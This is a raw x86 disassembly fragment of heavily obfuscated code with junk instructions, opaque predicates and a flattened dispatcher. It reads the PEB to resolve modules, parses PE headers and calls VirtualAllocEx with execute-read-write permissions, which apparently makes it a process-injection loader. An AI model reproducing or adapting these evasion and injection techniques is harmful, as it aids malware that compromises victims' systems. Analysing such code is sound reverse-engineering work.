and edi, 0x69
sub edx, 5
imul edi
mov edi, 0xe4
dec eax
rcr edi, 0x59
and esi, 0xf9
neg esi
not edi
rol esi, 2
bswap esi
bswap eax
sbb ebx, 0x8b
inc edi
dec eax
imul edi
mov edi, 0xd
rcl esi, 0x88
rcl eax, 0xdb
sbb ebx, 0xaa
inc esi
neg esi
bswap esi
rcr ebx, 0x2d
imul ebx
dec edi
neg eax
dec esi
or eax, 0xeb
or edx, 0x8f
rol edi, 0xaf
dec edi
imul ebx
add ebx, 0x96
bswap ebx
inc edi
or esi, 0x5f
rcr ebx, 0xc2
inc edx
add esi, 0xe4
neg eax
imul ebx
ror esi, 0xa9
mov edx, 0x54
rcl esi, 0x49
mov esi, 0xd0
or esi, 0x7d
or eax, 0x35
neg eax
ror edi, 0x98
imul edx
bswap edi
bswap ebx
rcl edx, 0xf9
rcr edi, 0x6a
inc edi
sub esi, 0x6a
rol eax, 0x31
or edx, 4
dec esi
inc ebx
or ebx, 0x89
mov edx, 0xe
ror ebx, 0xf2
not edx
not edx
mov eax, 0xce
mov ebx, 0x26
neg edi
not eax
not edi
neg ebx
neg ebx
neg esi
sbb ebx, 0xde
add ebx, 0x24
neg edi
dec ebx
and ebx, 0xa2
sbb eax, 0x61
mov ebx, 0xbf
rcl edx, 0x38
and eax, 0x1d
bswap esi
sbb edi, 0xe2
inc edx
bswap edi
add edi, 0x4f
imul esi
imul ebx
or esi, 0xb
imul eax
rcr eax, 0xb6
inc edx
rol edi, 0x8b
inc esi
rol edi, 0x69
or eax, 0x4d
dec edi
add edx, 0xf0
rol eax, 0xf0
not edx
neg edx
and eax, 0xdb
ror ebx, 0x90
bswap esi
rol esi, 0xe3
rol edi, 0xaf
and ebx, 0x9a
imul esi
imul eax
bswap eax
not esi
add edi, 0xb4
add esi, 0xd5
rcl esi, 0x1b
ror esi, 0x2b
add edi, 0x83
dec esi
dec edi
ror edi, 0x9c
not ebx
imul edi
imul ebx
neg ebx
rcr ebx, 0xfe
rol ebx, 0xaa
rol esi, 0xf9
neg eax
dec edi
neg esi
dec edi
add edx, 0x6d
not edx
rcr ebx, 0x46
rcr esi, 0x35
not eax
or eax, 0xe5
imul edi
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x74]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x74]
mov dword [ecx], eax
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x74]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x84]
mov dword [ecx], eax
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x88]
add eax, 0xfffffff8
mov dword [ecx], eax
rcl edx, 0x9a
inc esi
mov esi, 0x71
bswap edx
dec ebx
rcr edi, 0x58
rcr eax, 0xd3
sbb edi, 0xfb
bswap ebx
ror edx, 0x42
ror edi, 0x5f
add eax, 0x3a
sub edx, 0xf2
not esi
inc eax
neg ebx
ror ebx, 0x78
imul esi
rcr esi, 0x85
sbb esi, 0x60
not esi
dec eax
dec ebx
rcr ebx, 0xad
rcr eax, 0xfd
rcl edi, 0x7f
add edi, 0xbf
rcl edi, 0x13
bswap eax
inc edi
rol ebx, 0x93
rcr ebx, 0x7e
mov ebx, 0xc7
inc ebx
neg edx
rcr edi, 0x5c
rcl edi, 1
rcr esi, 0x79
bswap edi
not esi
neg ebx
inc edx
bswap edx
inc edi
not edx
not edi
imul ebx
ror ebx, 9
inc eax
inc ebx
sub edi, 0x36
not ebx
not edx
not edi
or edx, 0xf8
bswap eax
bswap edi
imul edx
and edi, 0xdb
imul edx
inc ebx
rcl edi, 0xfd
dec ebx
imul ebx
not edx
rcl eax, 0xfd
dec ebx
mov edx, 8
sbb edi, 0xfa
inc esi
rol eax, 0xc6
rcl edx, 0x49
dec ebx
rcl edx, 0x6a
neg edx
bswap eax
not ebx
or edi, 0xd9
imul edi
bswap edi
and esi, 0xc2
or ebx, 0xf
rcr edi, 0xe4
inc eax
ror eax, 0xaa
rol edi, 0xa1
or eax, 0xa7
mov edi, 0x64
not edx
bswap edi
inc esi
neg edi
rcr edi, 0x8e
and edx, 0x50
rcr ebx, 0xad
bswap edx
rcl ebx, 0x25
imul edi
not esi
rcr eax, 0xe4
bswap edx
ror edx, 0xad
ror eax, 0xc6
sub edi, 0x50
bswap edx
and edi, 0xa
mov ebx, 0x5b
rcr edx, 0x18
rol edx, 9
sbb eax, 0xf0
imul eax
dec ebx
inc eax
rol edi, 0x45
inc ebx
inc eax
dec edi
bswap ebx
or ebx, 0x14
and esi, 0x94
sbb ebx, 0xb8
dec edx
mov ebx, 4
dec edi
rol ebx, 0x1b
mov edi, 0x97
add eax, 0xf8
neg edx
dec esi
rcl eax, 0xb3
dec eax
and edx, 0x34
dec ebx
inc esi
inc ebx
or ebx, 0x52
bswap edi
sub ebx, 0xfa
inc edx
dec eax
sub edx, 0x29
rcl ebx, 0x29
dec eax
imul ebx
inc ebx
bswap eax
sub esi, 0x60
not esi
rcl edx, 0xbe
rcr edx, 0x87
mov ecx, dword [0x4a4b7c]
mov dword [ebp - 0x1d4], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
or edx, 0x28640001
mov esi, ecx
mov edi, ecx
or esi, 0x4000c0a0
and edx, 0x6864c0a1
and edi, 0x97191b42
and ecx, 0x35176883
or edi, edx
mov edx, eax
and esi, 0x6864c0a1
and edx, 0x82241c
and eax, 0xcae8977c
or edx, esi
or eax, ecx
xor edx, edi
xor eax, 0xcae8977c
mov esi, edx
not esi
and edx, 0xd719dbe3
and esi, 0x28e6241c
or edx, esi
mov esi, edx
not esi
and edx, 0xf21f6a2c
and esi, 0xde095d3
or edx, esi
mov esi, 0xe7635644
xor edx, 0xf21f6a2c
or eax, edx
mov ecx, eax
not ecx
and eax, 0x475431b5
and ecx, 0xb8abce4a
or eax, ecx
xor eax, 0x475431b5
sete dl
setne ah
cmp dword [0x4a4b78], 0xa
setge cl
setl al
xor cl, ah
or ah, al
xor ah, 1
and cl, al
or cl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x8a741bc5
cmovne eax, esi
test dl, dl
mov edx, 0x8a741bc5
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401540
mov eax, dword [0x4a4b7c]
mov edi, 0xcffb667f
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov esi, edx
or esi, 0x20026154
and edx, 0x8a40aa1
mov ecx, eax
or ecx, 0x488008
and esi, 0x204ae15c
and eax, 0xd7111402
and ecx, 0x204ae15c
or eax, esi
or edx, ecx
xor edx, eax
mov eax, edx
not eax
and edx, 0xd759940a
and eax, 0x28a66bf5
or edx, eax
mov eax, edx
mov ecx, edx
xor ecx, 0xe7a17b1f
not eax
mov esi, eax
and ecx, edx
and esi, 0xe7a17b1f
and edx, 0x88c63f0c
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xe7a17b1e
and esi, 0x185e84e1
or ecx, esi
mov esi, eax
and esi, 0x7739c0f3
and eax, 1
or esi, edx
mov edx, esi
xor edx, 0x401e0d
xor esi, 0x203800e0
or eax, edx
mov edx, ecx
and esi, 0xa8be21e0
not edx
and ecx, 0xcdbcf08b
and eax, 0x5741de1f
or eax, esi
mov esi, edx
and esi, 0x32430f74
or ecx, esi
mov esi, eax
xor esi, 0x4500d00b
xor eax, 0xa8be21e0
or edx, eax
and eax, 0x32430f74
and esi, 0xcdbcf08b
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov ecx, edx
not ecx
mov esi, edx
andn eax, edx, edx
and esi, 0xb4987790
and ecx, 0x4b67886f
or ecx, esi
mov esi, eax
not esi
and eax, 0x4b67886f
or edx, esi
and esi, 0xb4987790
or eax, esi
not edx
mov esi, 0x7447a3fb
xor eax, ecx
or edx, eax
setne cl
cmp dword [0x4a4b78], 0xa
mov ebx, ecx
setge ah
setl dl
inc bl
mov al, ah
xor al, cl
mov ch, al
and al, ah
and ah, bl
or bl, dl
and ch, cl
and cl, dl
xor bl, 1
mov dh, ch
xor ch, al
xor al, 1
or cl, ah
xor dh, 1
or bl, cl
or al, dh
xor al, 1
or al, ch
xor al, 1
mov dh, al
xor al, bl
or dh, bl
mov dl, dh
xor dl, al
test al, 1
mov eax, 0xcffb667f
cmovne eax, esi
test dh, 1
cmovne eax, edi
test dl, 1
cmove eax, esi
jmp 0x401540
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebp - 0x10c]
cmp ecx, dword [eax + 0x34]
mov ecx, dword [0x4a4b7c]
lea eax, [ecx + 1]
setne byte [ebp - 0x99]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x54842660
and eax, 0x80a4115
mov edx, ecx
and edx, 0x1318000
or ecx, 0x4425a220
or esi, edx
and ecx, 0xe665baaa
mov edx, esi
xor edx, 0x10800440
xor esi, 0xa261988a
or eax, ecx
and esi, 0xe665baaa
and edx, 0x11900440
or edx, esi
mov esi, 0xefef8f29
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x55b5a660
and ecx, 0xaa4a599f
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xb103f755
and eax, 0x4efc08aa
or eax, edx
xor eax, 0x4efc08ab
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xa0a563e4
and ecx, 0x5f5a9c1b
or eax, ecx
mov ecx, eax
xor ecx, 0xa02442a0
xor eax, 0x1b100400
and eax, 0x1b912544
and ecx, 0xe46edabb
or ecx, eax
mov eax, ecx
xor eax, 0xb800044
xor ecx, 0x24485ab8
and eax, 0xcba68047
and ecx, 0x34597fb8
or ecx, eax
xor ecx, 0x34597fb8
sete dl
setne al
cmp dword [0x4a4b78], 0xa
setge ah
setl cl
xor al, ah
or ah, dl
and al, dl
xor al, 1
mov ch, al
or al, ah
xor ch, ah
mov ah, cl
or cl, dl
xor al, 1
xor ah, dl
xor cl, 1
or al, ch
or cl, ah
mov edx, eax
mov ah, cl
not dl
and cl, al
xor ah, 1
and dl, ah
or dl, cl
mov ecx, eax
xor cl, ah
or ah, al
xor ah, 1
or ah, cl
mov cl, ah
xor cl, dl
test ah, 1
mov eax, 0x1b9115be
cmovne eax, esi
test dl, 1
mov edx, 0x1b9115be
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401540
mov eax, 0x32b77fd2
jmp 0x401540
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x44], eax
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x901284
mov edx, eax
and edx, 0x12000002
mov edi, eax
or edi, 0x12901286
and eax, 0x4be7a02a
or esi, edx
mov edx, edi
not edx
and edi, 0xed6fed78
xor esi, 0x901284
or edx, esi
and edx, 0x12901287
or edx, edi
mov esi, edx
not esi
and edx, 0x6391547
and esi, 0xf9c6eab8
or edx, esi
mov esi, edx
xor esi, 0x2210002
xor edx, 0xf9c6eab8
mov edi, edx
or edx, ecx
and ecx, 0xb4185fd5
and edi, 0xb4185fd5
and esi, 0x4be7a02a
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0x2f10f181
or edx, eax
xor edx, 0xffffffff
sete dl
setne ah
cmp dword [0x4a4b78], 0xa
setge cl
setl al
mov ch, cl
xor ch, dl
and ch, cl
xor cl, ah
or ah, al
and cl, al
xor al, dl
xor ah, 1
or al, ch
or cl, ah
mov ah, al
mov edx, eax
xor cl, 1
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, al
xor dl, cl
or cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0xf53f694e
cmovne ecx, esi
test dl, 1
cmove ecx, esi
test al, 1
mov eax, 0xf53f694e
cmove ecx, eax
mov eax, ecx
jmp 0x401540
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x24]
mov ecx, dword [ebp - 0x34]
mov dword [ecx], eax
mov eax, dword [ebp - 0x34]
mov edx, dword [eax]
mov eax, edx
xor eax, 0x488a4d72
mov ecx, edx
and ecx, 0x880550
and eax, edx
not edx
and edx, 0x48024822
mov esi, eax
not esi
and eax, 0x40f78d5c
or ecx, edx
mov edx, ecx
xor edx, 0x800550
xor ecx, 0xff77faaf
mov edi, ecx
or ecx, esi
and esi, 0xbf0872a3
and edi, 0xbf0872a3
and edx, 0x40820d50
or edx, edi
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x488a4d72
and eax, 0xb775b28d
or ecx, eax
mov edi, ecx
not edi
mov esi, ecx
and esi, 0xa8749122
and ecx, 0x6010194
mov eax, edi
and eax, 0x578b6edd
or edi, 0xd8fe7669
or esi, eax
mov edx, esi
mov ebx, esi
xor edx, 0xa8749122
xor ebx, 0x8f7518b4
xor esi, 0x5600440d
and ebx, edx
and esi, 0xf614442d
mov eax, ebx
not eax
and ebx, 0xecb35f5
mov dword [ebp - 0x64], eax
and dword [ebp - 0x64], 0xf134ca0a
or eax, edi
and edi, 0xf134ca0a
add ebx, dword [ebp - 0x64]
or ecx, edi
not eax
mov edi, edx
and edi, 0x9ebbbd2
and edx, 0x40000000
or edi, esi
xor edi, 0xb614442d
or edx, edi
mov edi, edx
not edi
xor ecx, ebx
and edi, 0xfd9c60be
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xc8ebf14c
and ecx, 0x37140eb3
or eax, ecx
mov ecx, eax
xor ecx, 0x50140024
xor eax, 0xafea78da
mov esi, eax
or eax, edx
and edx, 0x2639f41
and esi, 0x2639f41
and ecx, 0xfd9c60be
or ecx, esi
or edi, edx
not eax
xor edi, ecx
or eax, edi
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xa1f96a63
andn eax, eax, eax
and edx, 0x5e06959c
or ecx, edx
xor ecx, 0xa1f96a63
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x6e56bd12
and ecx, 0x91a942ed
or eax, ecx
mov ecx, eax
xor ecx, 0x44128810
xor eax, 0x802840ac
and eax, 0xaa6c75ae
and ecx, 0x55938a51
or ecx, eax
mov eax, 0xac23cbf0
xor ecx, 0x55938a51
mov dword [ebp - 0x12c], ecx
jmp 0x401540
push 4
push 0x3000
push dword [ebp - 0x144]
push dword [ebp - 0xf0]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov ecx, 0xe636b385
mov eax, dword [ebp - 0x68]
cmp dword [eax + 4], 0
mov eax, 0xf8334fe4
cmove eax, ecx
jmp 0x401540
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [ebp - 0x16c], eax
mov eax, 0x450183eb
jmp 0x401540
mov eax, 0xbc25b8cd
jmp 0x401540
mov eax, 0x2640a016
jmp 0x401540
mov eax, 0xd5e8fbb6
jmp 0x401540
mov eax, dword [0x4a4b7c]
mov edi, 0x5d9cfe25
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x62209230
and eax, 0x9ddf6dcf
or ecx, eax
mov eax, ecx
xor eax, 0x20001010
xor ecx, 0x85c5640b
and ecx, 0xc7e5e62b
and eax, 0x381a19d4
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0x381a19d4
xor edx, 0xc7e5e62b
xor eax, 0xa9d6272b
mov esi, ecx
and eax, edx
and esi, 0x6e33c100
and edx, 0xbbd14d42
or eax, esi
mov esi, eax
not esi
and eax, 0x77c8f2e8
and esi, 0x88370d17
or eax, esi
mov esi, ecx
and esi, 0x442eb2bd
and ecx, 1
or esi, edx
mov edx, esi
xor edx, 0x99c14543
xor esi, 0x4004b010
or ecx, edx
mov edx, eax
xor edx, 0x732341
and esi, 0x6214b810
xor eax, 0xe604cc16
and ecx, 0x9deb47ef
and edx, 0xa0772f51
or ecx, esi
mov esi, eax
and esi, 0x5f88d0ae
or edx, esi
mov esi, ecx
xor esi, 0x80630741
xor ecx, 0x6214b810
or eax, ecx
and ecx, 0x5f88d0ae
and esi, 0xa0772f51
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x554fa18d
mov ecx, eax
not ecx
and eax, 0xc3f67d39
and ecx, 0x3c0982c6
or eax, ecx
mov ecx, eax
xor ecx, 0x43c60111
xor eax, 0x14018284
and eax, 0x9431feac
and ecx, 0x6bce0153
or ecx, eax
xor ecx, 0x9431feac
sete dl
setne ah
cmp dword [0x4a4b78], 0xa
setl cl
setge al
or dl, cl
xor cl, ah
xor cl, 1
or cl, al
xor al, ah
and al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0x554fa18d
mov al, ah
xor al, dl
test dl, dl
cmovne ecx, edi
test ah, ah
cmove ecx, esi
test al, 1
cmovne ecx, edi
mov eax, ecx
jmp 0x401540
mov eax, dword [ebp - 0x24]
mov dword [eax], 1
mov eax, 0x2a81f2fe
jmp 0x401540
mov eax, dword [ebp - 0x34]
mov edx, dword [eax]
mov ecx, edx
xor ecx, 0x154b4c89
mov eax, edx
and eax, 0xce7444f8
andn esi, edx, ecx
not edx
and edx, 0x318bbb07
or edx, eax
mov eax, edx
mov edi, edx
xor eax, 0x318bbb07
xor edi, 0x24c0f78e
xor edx, 0xc4100428
and edi, eax
and edx, 0xe513272c
mov ecx, edi
not ecx
and edi, 0x6a329ab3
mov ebx, ecx
and ebx, 0x95cd654c
or edi, ebx
mov ebx, esi
not ebx
and esi, 0x6a329ab3
or ecx, ebx
and ebx, 0x95cd654c
or esi, ebx
not ecx
xor esi, edi
mov edi, eax
and edi, 0x1aecd8d3
and eax, 0x40000000
or ecx, esi
or edi, edx
mov esi, ecx
not esi
xor edi, 0xa513272c
and ecx, 0x37b57a75
and esi, 0xc84a858a
or eax, edi
or ecx, esi
not eax
xor ecx, 0x9d01c903
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x202410aa
and eax, 0x49104801
and ecx, 0x96cba754
or edx, ecx
xor edx, 0x202410aa
or eax, edx
mov ecx, eax
not ecx
and eax, 0xdfc09793
and ecx, 0x203f686c
or eax, ecx
mov ecx, eax
xor ecx, 0x680e0024
xor eax, 0x96d0df92
mov edx, eax
and edx, 0x1521f6d9
and ecx, 0xeade0926
or ecx, edx
xor ecx, 0xeade0926
or ecx, eax
mov eax, 0x5ac300c6
not ecx
mov dword [ebp - 0x1d0], ecx
jmp 0x401540
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x7c]
mov eax, 0x3ccf06d
jmp 0x401540
movzx edx, byte [ebp - 0x95]
mov ah, byte [ebp - 0x96]
mov ch, ah
mov dh, ah
mov al, dl
xor ch, 1
xor al, 1
and dh, ch
mov cl, al
xor dh, 1
or dh, ch
and ch, dl
or dl, ah
xor dh, 1
xor dl, 1
or dh, ah
xor cl, dh
xor cl, 1
and cl, dh
or dh, al
and al, ah
or al, ch
xor cl, 1
or al, dl
mov ebx, ecx
or cl, dh
mov dl, al
mov ch, al
xor bl, dh
xor cl, 1
xor dl, 1
or cl, bl
and ch, dl
mov ah, dl
xor ch, 1
xor ah, ch
or ch, dl
or dl, cl
xor cl, 1
xor ch, 1
xor dl, 1
or ch, ah
xor ch, cl
xor cl, al
mov eax, 0x3681c34f
or dl, cl
mov cl, dl
xor cl, ch
test dl, 1
mov edx, 0xd2610994
cmovne eax, edx
test ch, 1
cmove eax, edx
test cl, 1
mov edx, 0x3681c34f
cmove eax, edx
jmp 0x401540
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
not esi
and ecx, 0x498c7068
and esi, 0xb6738f97
or esi, ecx
mov eax, esi
mov ecx, esi
xor esi, 0xfa3e8ab4
xor ecx, 0xb6738f97
xor eax, 0x498c7068
mov edi, esi
and edi, ecx
and esi, eax
or ecx, 1
and eax, 0x301c0f26
mov edx, edi
not edx
and edi, 0x2eda302
mov ebx, edx
and ebx, 0xfd125cfd
or edi, ebx
mov ebx, esi
not ebx
and esi, 0x2eda302
or edx, ebx
and ebx, 0xfd125cfd
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0xb3b2fadd
and esi, 0x4c4d0522
or edx, esi
mov esi, edx
not esi
and edx, 0x301c0f27
mov edi, esi
or esi, ecx
and edi, 0xcfe3f0d8
and ecx, 0xcfe3f0d8
or edx, edi
or eax, ecx
not esi
mov edi, 0xfe7ae661
xor eax, edx
or esi, eax
mov eax, esi
not eax
and esi, 0xb6ed5d5c
and eax, 0x4912a2a3
or esi, eax
mov eax, esi
xor eax, 0x32895518
xor esi, 0x4802a222
and esi, 0xcc66aa66
and eax, 0x33995599
or eax, esi
mov esi, 0x4031f7e6
mov ecx, eax
xor ecx, 0xc4462a06
xor eax, 0x21800099
and eax, 0x29a080f9
and ecx, 0xd65f7f06
or ecx, eax
mov eax, ecx
xor eax, 0x4427d00
xor ecx, 0x8808051
and ecx, 0xda9d8257
and eax, 0x25627da8
or eax, ecx
xor eax, 0x25627da8
sete ah
setne dl
cmp dword [0x4a4b78], 0xa
setge al
setl cl
inc al
xor cl, dl
xor dl, al
or al, ah
xor cl, 1
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor ah, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
xor dl, cl
mov ch, dl
test dl, 1
not ch
cmovne esi, edi
test ch, cl
cmovne esi, edi
test dl, 1
mov eax, esi
cmovne eax, edi
test ch, cl
cmove eax, esi
jmp 0x401540
push 0x40
push 0x3000
push dword [ebp - 0x154]
push 0
push dword [ebp - 0x158]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x15c], eax
mov eax, 0x7781bf80
jmp 0x401540
inc edi
rol edx, 0xf2
dec esi
and ebx, 0xed
ror edx, 0xe2
mov ebx, 0xaf
dec eax
bswap edi
dec ebx
neg edx
rcr eax, 0xbb
dec edi
imul ebx
dec ebx
bswap edi
dec edi
bswap ebx
inc ebx
rcl edi, 0xed
inc ebx
inc esi
not esi
ror edi, 0x31
dec eax
not eax
inc edi
or edx, 0x38
mov esi, 0x5c
bswap esi
or eax, 0xfa
dec edx
sub eax, 0xb0
add eax, 0x5b
not esi
rol edi, 0x70
not eax
rol ebx, 0x2f
rol edx, 0x71
sub eax, 0xfb
imul ebx
ror ebx, 0x81
or eax, 0xee
imul edx
rcr ebx, 0x80
rcl edi, 0x91
inc ebx
bswap eax
sub edx, 0xe7
imul edi
mov ebx, 0xe
bswap edi
rol esi, 0x96
bswap ebx
rcl edi, 0xd3
neg esi
bswap edx
sub ebx, 0xfa
dec edx
neg esi
bswap edi
dec esi
dec edi
sbb esi, 5
sbb edx, 0x97
inc edi
rcr ebx, 0x22
dec esi
rol eax, 0xea
neg edi
add edx, 0xd6
inc eax
ror ebx, 0x6b
bswap edx
ror edx, 0x21
inc eax
and edi, 0x9f
add edx, 0xb2
rcr ebx, 0xdf
dec ebx
add edx, 0x34
ror esi, 0xc5
inc esi
dec esi
bswap ebx
bswap esi
not esi
mov eax, 0x45
neg edi
neg eax
rol eax, 0xf1
rol esi, 0x31
neg esi
neg edi
bswap edi
not ebx
neg edi
rcl esi, 0xce
sbb edx, 0xa5
dec ebx
bswap ebx
dec edx
imul eax
rcr eax, 0xc8
ror eax, 0x12
not eax
not edi
or edi, 0xd1
imul edi
sub esi, 0x8d
dec ebx
rcl esi, 0x4a
dec edx
add esi, 0xfc
sub esi, 1
and esi, 0xd0
rcl edi, 0xa7
add edi, 0x1b
not eax
not edx
dec ebx
rcr edi, 0x76
imul edi
or ebx, 0xc1
bswap edi
or eax, 0x15
ror eax, 0xec
sub esi, 0x9b
add edi, 0x64
sub ebx, 0xf3
neg eax
bswap ebx
rcr ebx, 0x57
inc esi
dec esi
not ebx
bswap edx
neg edx
rol edi, 0x19
neg edx
neg eax
add edx, 0xeb
sub ebx, 0xf4
sub eax, 0x7e
bswap edx
dec esi
bswap eax
add eax, 0x89
bswap edx
mov ebx, 0xa3
add edi, 0x31
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x28]
mov dword [ebp - 0x140], eax
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xc4570677
mov esi, eax
and esi, 0x3ba8f988
mov edi, eax
or edi, 0x8045082
and eax, 0x6033bb2
or edx, esi
and edi, 0x2da55192
mov esi, edx
xor edx, 0x8005080
xor esi, 0x40520204
or edx, 0x25a10110
and esi, 0x425a2a04
and edx, 0x2da55192
or esi, edx
mov edx, ecx
and edx, 0x90008469
or edx, edi
xor edx, esi
mov esi, edx
not esi
and edx, 0x8409372f
and esi, 0x7bf6c8d0
or edx, esi
mov esi, edx
xor edx, 0x3212
xor esi, 0xce574da8
mov edi, esi
or esi, ecx
and ecx, 0xf9fcc44d
and edi, 0xf9fcc44d
and edx, 0x6033bb2
or edx, edi
or eax, ecx
not esi
xor eax, edx
or esi, eax
cmp esi, 0xffffffff
setne cl
cmp dword [0x4a4b78], 0xa
mov ch, cl
setl ah
setge dl
or dl, cl
xor cl, ah
or ch, ah
not cl
mov al, dl
and cl, ah
xor al, 1
xor cl, 1
mov ah, cl
or cl, ch
xor ah, ch
xor cl, 1
or cl, ah
mov ah, cl
and cl, dl
xor ah, 1
and al, ah
or ah, dl
mov edx, 0x656b6f7d
or al, cl
mov cl, ah
xor cl, al
test cl, 1
mov ecx, 0x6fbcbd45
cmovne ecx, edx
test ah, 1
mov edx, 0x6fbcbd45
cmovne edx, ecx
test al, al
cmove edx, ecx
mov eax, edx
jmp 0x401540
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
inc eax
mov dword [ecx], eax
mov eax, 0x2a39844
jmp 0x401540
mov eax, 0xbc01aed3
jmp 0x401540
mov eax, dword [0x4a4b7c]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
mov ecx, edx
xor ecx, 0xfffffffe
not eax
mov esi, eax
and esi, 0xfffffffe
and ecx, edx
and eax, 0x7a0d3c55
or ecx, esi
mov esi, ecx
not esi
mov edi, ecx
or ecx, edx
and edx, 0x85f2c3aa
and edi, 0x85f2c3aa
and esi, 0x7a0d3c55
or eax, edx
not ecx
or esi, edi
xor eax, esi
mov esi, 0xf0c4285d
or ecx, eax
xor ecx, 0xffffffff
sete al
setne ah
cmp dword [0x4a4b78], 0xa
setge cl
xor al, cl
or ah, cl
mov edx, eax
mov ecx, eax
xor al, ah
xor dl, 1
and cl, dl
mov ch, dl
xor cl, 1
xor ch, cl
or cl, dl
xor cl, 1
or cl, ch
xor cl, ah
xor ah, 1
or dl, ah
xor dl, 1
or dl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xaaa079d9
cmovne esi, eax
test dl, dl
mov eax, 0xf0c4285d
cmovne eax, esi
jmp 0x40c0aa
mov eax, 0x5cf40e1b
jmp 0x401540
cmp dword [ebp - 0x12c], 0
mov ecx, dword [0x4a4b7c]
lea eax, [ecx + 1]
setne byte [ebp - 0x9f]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x871415c0
and eax, 0x820200f
mov edx, ecx
and edx, 0x4089c820
or ecx, 0x11d1de0
or esi, edx
and ecx, 0x315f1ff0
mov edx, esi
xor edx, 0x86000000
xor esi, 0x304b0a30
or eax, ecx
and esi, 0x315f1ff0
and edx, 0xc680c000
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x2694a64c
and ecx, 0xd96b59b3
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0x1ef68452
xor ecx, 0xe1097bac
xor edx, 0xe1097bad
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
or ecx, edx
mov edx, ecx
not edx
mov esi, ecx
andn eax, ecx, ecx
and esi, 0x15f0713
and edx, 0xfea0f8ec
or edx, esi
mov esi, eax
not esi
and eax, 0xfea0f8ec
or ecx, esi
and esi, 0x15f0713
or eax, esi
not ecx
mov esi, 0xb0b1d2a9
xor eax, edx
or ecx, eax
sete cl
setne ah
cmp dword [0x4a4b78], 0xa
setge al
setl dl
mov ch, al
and dl, cl
inc ch
and ch, ah
and ah, al
or dl, ah
mov ah, dl
xor ah, al
and al, cl
and ah, dl
or al, ch
mov cl, ah
mov edx, eax
xor cl, 1
xor dl, 1
and al, cl
or cl, dl
and dl, ah
or dl, al
mov eax, ecx
xor al, dl
test dl, dl
mov edx, 0xf4e8f2db
cmovne edx, esi
test cl, cl
mov ecx, 0xf4e8f2db
cmovne edx, ecx
test al, 1
cmove edx, esi
mov eax, edx
jmp 0x401540
mov eax, 0x759be00
jmp 0x401540
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
